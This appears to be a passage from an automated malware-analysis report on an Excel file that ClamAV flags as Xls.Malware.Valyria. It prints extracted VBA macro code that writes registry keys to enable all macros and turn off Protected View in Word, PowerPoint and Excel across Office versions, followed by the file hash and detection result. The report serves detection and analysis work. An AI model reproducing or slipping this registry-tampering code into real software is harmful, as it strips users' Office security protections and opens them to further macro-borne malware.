"HKCU\Software\Microsoft\Office\15.0\Word\Security\VBAWarnings", 1, "REG_DWORD" wso.RegWrite "HKCU\Software\Microsoft\Office\16.0\Word\Security\VBAWarnings", 1, "REG_DWORD" wso.RegWrite "HKCU\Software\Microsoft\Office\11.0\PowerPoint\Security\VBAWarnings", 1, "REG_DWORD" wso.RegWrite "HKCU\Software\Microsoft\Office\12.0\PowerPoint\Security\VBAWarnings", 1, "REG_DWORD" wso.RegWrite "HKCU\Software\Microsoft\Office\14.0\PowerPoint\Security\VBAWarnings", 1, "REG_DWORD" wso.RegWrite "HKCU\Software\Microsoft\Office\15.0\PowerPoint\Security\VBAWarnings", 1, "REG_DWORD" wso.RegWrite "HKCU\Software\Microsoft\Office\16.0\PowerPoint\Security\VBAWarnings", 1, "REG_DWORD" wso.RegWrite "HKCU\Software\Microsoft\Office\11.0\Excel\Security\VBAWarnings", 1, "REG_DWORD" wso.RegWrite "HKCU\Software\Microsoft\Office\12.0\Excel\Security\VBAWarnings", 1, "REG_DWORD" wso.RegWrite "HKCU\Software\Microsoft\Office\14.0\Excel\Security\VBAWarnings", 1, "REG_DWORD" wso.RegWrite "HKCU\Software\Microsoft\Office\15.0\Excel\Security\VBAWarnings", 1, "REG_DWORD" wso.RegWrite "HKCU\Software\Microsoft\Office\16.0\Excel\Security\VBAWarnings", 1, "REG_DWORD" wso.RegWrite "HKCU\Software\Microsoft\Office\11.0\Word\Security\ProtectedView\DisableInternetFilesInPV", 1, "REG_DWORD" wso.RegWrite "HKCU\Software\Microsoft\Office\11.0\Word\Security\ProtectedView\DisableAttachementsInPV", 1, "REG_DWORD" wso.RegWrite "HKCU\Software\Microsoft\Office\11.0\Word\Security\ProtectedView\DisableUnsafeLocationsInPV", 1, "REG_DWORD" wso.RegWrite "HKCU\Software\Microsoft\Office\11.0\PowerPoint\Security\ProtectedView\DisableInternetFilesInPV", 1, "REG_DWORD" wso.RegWrite "HKCU\Software\Microsoft\Office\11.0\PowerPoint\Security\ProtectedView\DisableAttachementsInPV", 1, "REG_DWORD" wso.RegWrite "HKCU\Software\Microsoft\Office\11.0\PowerPoint\Security\ProtectedView\DisableUnsafeLocationsInPV", 1, "REG_DWORD" wso.RegWrite "HKCU\Software\Microsoft\Office\11.0\Excel\Security\ProtectedView\DisableInternetFilesInPV", 1, "REG_DWORD" wso.RegWrite "HKCU\Software\Microsoft\Office\11.0\Excel\Security\ProtectedView\DisableAttachementsInPV", 1, "REG_DWORD" wso.RegWrite "HKCU\Software\Microsoft\Office\11.0\Excel\Security\ProtectedView\DisableUnsafeLocationsInPV", 1, "REG_DWORD" wso.RegWrite "HKCU\Software\Microsoft\Office\12.0\Word\Security\ProtectedView\DisableInternetFilesInPV", 1, "REG_DWORD" wso.RegWrite "HKCU\Software\Microsoft\Office\12.0\Word\Security\ProtectedView\DisableAttachementsInPV", 1, "REG_DWORD" wso.RegWrite "HKCU\Software\Microsoft\Office\12.0\Word\Security\ProtectedView\DisableUnsafeLocationsInPV", 1, "REG_DWORD" wso.RegWrite "HKCU\Software\Microsoft\Office\12.0\PowerPoint\Security\ProtectedView\DisableInternetFilesInPV", 1, "REG_DWORD" wso.RegWrite "HKCU\Software\Microsoft\Office\12.0\PowerPoint\Security\ProtectedView\DisableAttachementsInPV", 1, "REG_DWORD" wso.RegWrite "HKCU\Software\Microsoft\Office\12.0\PowerPoint\Security\ProtectedView\DisableUnsafeLocationsInPV", 1, "REG_DWORD" wso.RegWrite "HKCU\Software\Microsoft\Office\12.0\Excel\Security\ProtectedView\DisableInternetFilesInPV", 1, "REG_DWORD" wso.RegWrite "HKCU\Software\Microsoft\Office\12.0\Excel\Security\ProtectedView\DisableAttachementsInPV", 1, "REG_DWORD" wso.RegWrite "HKCU\Software\Microsoft\Office\12.0\Excel\Security\ProtectedView\DisableUnsafeLocationsInPV", 1, "REG_DWORD" wso.RegWrite "HKCU\Software\Microsoft\Office\14.0\Word\Security\ProtectedView\DisableInternetFilesInPV", 1, "REG_DWORD" wso.RegWrite "HKCU\Software\Microsoft\Office\14.0\Word\Security\ProtectedView\DisableAttachementsInPV", 1, "REG_DWORD" wso.RegWrite "HKCU\Software\Microsoft\Office\14.0\Word\Security\ProtectedView\DisableUnsafeLocationsInPV", 1, "REG_DWORD" wso.RegWrite "HKCU\Software\Microsoft\Office\14.0\PowerPoint\Security\ProtectedView\DisableInternetFilesInPV", 1, "REG_DWORD" wso.RegWrite "HKCU\Software\Microsoft\Office\14.0\PowerPoint\Security\ProtectedView\DisableAttachementsInPV", 1, "REG_DWORD" wso.RegWrite "HKCU\Software\Microsoft\Office\14.0\PowerPoint\Security\ProtectedView\DisableUnsafeLocationsInPV", 1, "REG_DWORD" wso.RegWrite "HKCU\Software\Microsoft\Office\14.0\Excel\Security\ProtectedView\DisableInternetFilesInPV", 1, "REG_DWORD" wso.RegWrite "HKCU\Software\Microsoft\Office\14.0\Excel\Security\ProtectedView\DisableAttachementsInPV", 1, "REG_DWORD" wso.RegWrite "HKCU\Software\Microsoft\Office\14.0\Excel\Security\ProtectedView\DisableUnsafeLocationsInPV", 1, "REG_DWORD" wso.RegWrite "HKCU\Software\Microsoft\Office\15.0\Word\Security\ProtectedView\DisableInternetFilesInPV", 1, "REG_DWORD" wso.RegWrite "HKCU\Software\Microsoft\Office\15.0\Word\Security\ProtectedView\DisableAttachementsInPV", 1, "REG_DWORD" wso.RegWrite "HKCU\Software\Microsoft\Office\15.0\Word\Security\ProtectedView\DisableUnsafeLocationsInPV", 1, "REG_DWORD" wso.RegWrite "HKCU\Software\Microsoft\Office\15.0\PowerPoint\Security\ProtectedView\DisableInternetFilesInPV", 1, "REG_DWORD" wso.RegWrite "HKCU\Software\Microsoft\Office\15.0\PowerPoint\Security\ProtectedView\DisableAttachementsInPV", 1, "REG_DWORD" wso.RegWrite "HKCU\Software\Microsoft\Office\15.0\PowerPoint\Security\ProtectedView\DisableUnsafeLocationsInPV", 1, "REG_DWORD" wso.RegWrite "HKCU\Software\Microsoft\Office\15.0\Excel\Security\ProtectedView\DisableInternetFilesInPV", 1, "REG_DWORD" wso.RegWrite "HKCU\Software\Microsoft\Office\15.0\Excel\Security\ProtectedView\DisableAttachementsInPV", 1, "REG_DWORD" wso.RegWrite "HKCU\Software\Microsoft\Office\15.0\Excel\Security\ProtectedView\DisableUnsafeLocationsInPV", 1, "REG_DWORD" wso.RegWrite "HKCU\Software\Microsoft\Office\16.0\Word\Security\ProtectedView\DisableInternetFilesInPV", 1, "REG_DWORD" wso.RegWrite "HKCU\Software\Microsoft\Office\16.0\Word\Security\ProtectedView\DisableAttachementsInPV", 1, "REG_DWORD" wso.RegWrite "HKCU\Software\Microsoft\Office\16.0\Word\Security\ProtectedView\DisableUnsafeLocationsInPV", 1, "REG_DWORD" wso.RegWrite "HKCU\Software\Microsoft\Office\16.0\PowerPoint\Security\ProtectedView\DisableInternetFilesInPV", 1, "REG_DWORD" wso.RegWrite "HKCU\Software\Microsoft\Office\16.0\PowerPoint\Security\ProtectedView\DisableAttachementsInPV", 1, "REG_DWORD" wso.RegWrite "HKCU\Software\Microsoft\Office\16.0\PowerPoint\Security\ProtectedView\DisableUnsafeLocationsInPV", 1, "REG_DWORD" wso.RegWrite "HKCU\Software\Microsoft\Office\16.0\Excel\Security\ProtectedView\DisableInternetFilesInPV", 1, "REG_DWORD" wso.RegWrite "HKCU\Software\Microsoft\Office\16.0\Excel\Security\ProtectedView\DisableAttachementsInPV", 1, "REG_DWORD" wso.RegWrite "HKCU\Software\Microsoft\Office\16.0\Excel\Security\ProtectedView\DisableUnsafeLocationsInPV", 1, "REG_DWORD" End Sub Attribute VB_Name = "Sheet1" Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = True Attribute VB_TemplateDerived = False Attribute VB_Customizable = True
`vbaProject_00.bin`	vba-project	OOXML VBA project: xl/vbaProject.bin	36864 bytes
SHA-256: `f465087515e322a7853d1b541b959b5590ccef397433614dcea33ea7dd03f262`
Detection ClamAV: Xls.Malware.Valyria-6934880-0 Obfuscation or payload: unlikely

Open this report in the interactive analyzer, or submit your own file for analysis.